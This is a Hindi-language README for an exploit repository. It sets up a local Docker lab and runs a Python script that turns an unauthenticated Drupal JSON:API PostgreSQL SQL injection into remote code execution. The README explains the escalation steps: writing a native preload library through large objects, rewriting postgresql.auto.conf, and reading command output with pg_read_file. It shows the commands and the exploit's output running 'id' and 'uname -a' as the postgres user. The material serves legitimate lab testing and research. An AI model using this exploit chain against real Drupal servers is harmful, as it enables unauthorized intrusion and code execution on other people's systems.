
Drupal JSON:API PostgreSQL SQL इंजेक्शन से RCE तक का शोषण, नेटिव प्रीलोड लाइब्रेरी के माध्यम से। इसमें PostgreSQL 12–18+ एस्केलेशन पथों के परीक्षण के लिए एक स्थानीय Docker लैब शामिल है।
यह रिपॉजिटरी Ambionics लेख में वर्णित Drupal JSON:API PostgreSQL SQL इंजेक्शन के लिए एक स्थानीय लैब और एक छोटा एक्सप्लॉइट शामिल करता है।
एक्सप्लॉइट का महत्वपूर्ण हिस्सा PostgreSQL एस्केलेशन है: एक बार इंजेक्शन PostgreSQL सुपरयूज़र के रूप में SELECT एक्सप्रेशन का मूल्यांकन कर सकता है, यह बड़े ऑब्जेक्ट के माध्यम से एक नेटिव प्रीलोड लाइब्रेरी लिखता है, postgresql.auto.conf को रीलोड करता है, session_preload_libraries को ट्रिगर करता है, और pg_read_file() के साथ कमांड आउटपुट प्राप्त करता है।
एक्सप्लॉइट पहले version() पढ़ता है और पता लगाए गए प्रमुख संस्करण के लिए PostgreSQL मॉड्यूल मैजिक ब्लॉक बनाता है। यह PostgreSQL 12, 13-14, 15-17, और 18+ मॉड्यूल ABI लेआउट को संभालता है। स्थानीय कंपाइलर को अभी भी लक्ष्य PostgreSQL सर्वर के समान CPU आर्किटेक्चर के लिए एक शेयर्ड ऑब्जेक्ट उत्पन्न करना चाहिए।
लैब PostgreSQL 18.4 का उपयोग करता है, जो लिखने के समय नवीनतम PostgreSQL रिलीज़ है। PostgreSQL एस्केलेशन पथ का परीक्षण PostgreSQL 12.20 से PostgreSQL 18.4 तक किया गया है।
.
├── docker-compose.yml
├── drupal/
│ ├── Dockerfile
│ ├── entrypoint.sh
│ └── seed-content.php
├── drupal-postgres-preload-rce.py
├── requirements.txt
└── README.md
लैब उपयोग करता है:
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
Drupal PostgreSQL से postgres सुपरयूज़र के रूप में जुड़ा हुआ है ताकि SELECT-मात्र SQL इंजेक्शन को RCE तक बढ़ाया जा सके।
docker compose version
python3 --version
cc --version
उदाहरण आउटपुट:
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
कंटेनर बनाएं और शुरू करें:
docker compose build --quiet
docker compose up -d
अपेक्षित आउटपुट:
Container cve9082-pg18 Started
Container cve9082-drupal Started
Drupal के स्वस्थ होने की प्रतीक्षा करें:
docker compose ps
अपेक्षित आउटपुट:
NAME SERVICE STATUS
cve9082-pg18 db Up ... (healthy)
cve9082-drupal drupal Up ... (healthy)
लैब सुनता है:
http://127.0.0.1:8089
PostgreSQL संस्करण जाँचें:
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
अपेक्षित आउटपुट:
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
जाँचें कि JSON:API सीड किए गए लेख को उजागर करता है:
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
अपेक्षित आउटपुट:
{
"jsonapi": {
"version": "1.0"
},
"data": [
{
"type": "node--article"
}
]
}
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
अपेक्षित आउटपुट:
Successfully installed requests-...
अप्रमाणित JSON:API SQL इंजेक्शन के माध्यम से id निष्पादित करें:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
अपेक्षित आउटपुट:
[+] checking SQL injection context
version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
current_user: postgres superuser=True
data_directory: /var/lib/postgresql/18/docker
module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
1400/14080 bytes
...
14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)
__exit=0
[+] restoring/clearing PostgreSQL preload settings
152/152 bytes
दूसरा कमांड चलाएँ:
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
अपेक्षित आउटपुट:
[+] reading command output
Linux ... x86_64 GNU/Linux
__exit=0
कंटेनर रोकें लेकिन डेटाबेस वॉल्यूम रखें:
docker compose down
कंटेनर रोकें और डेटाबेस वॉल्यूम हटाएँ:
docker compose down -v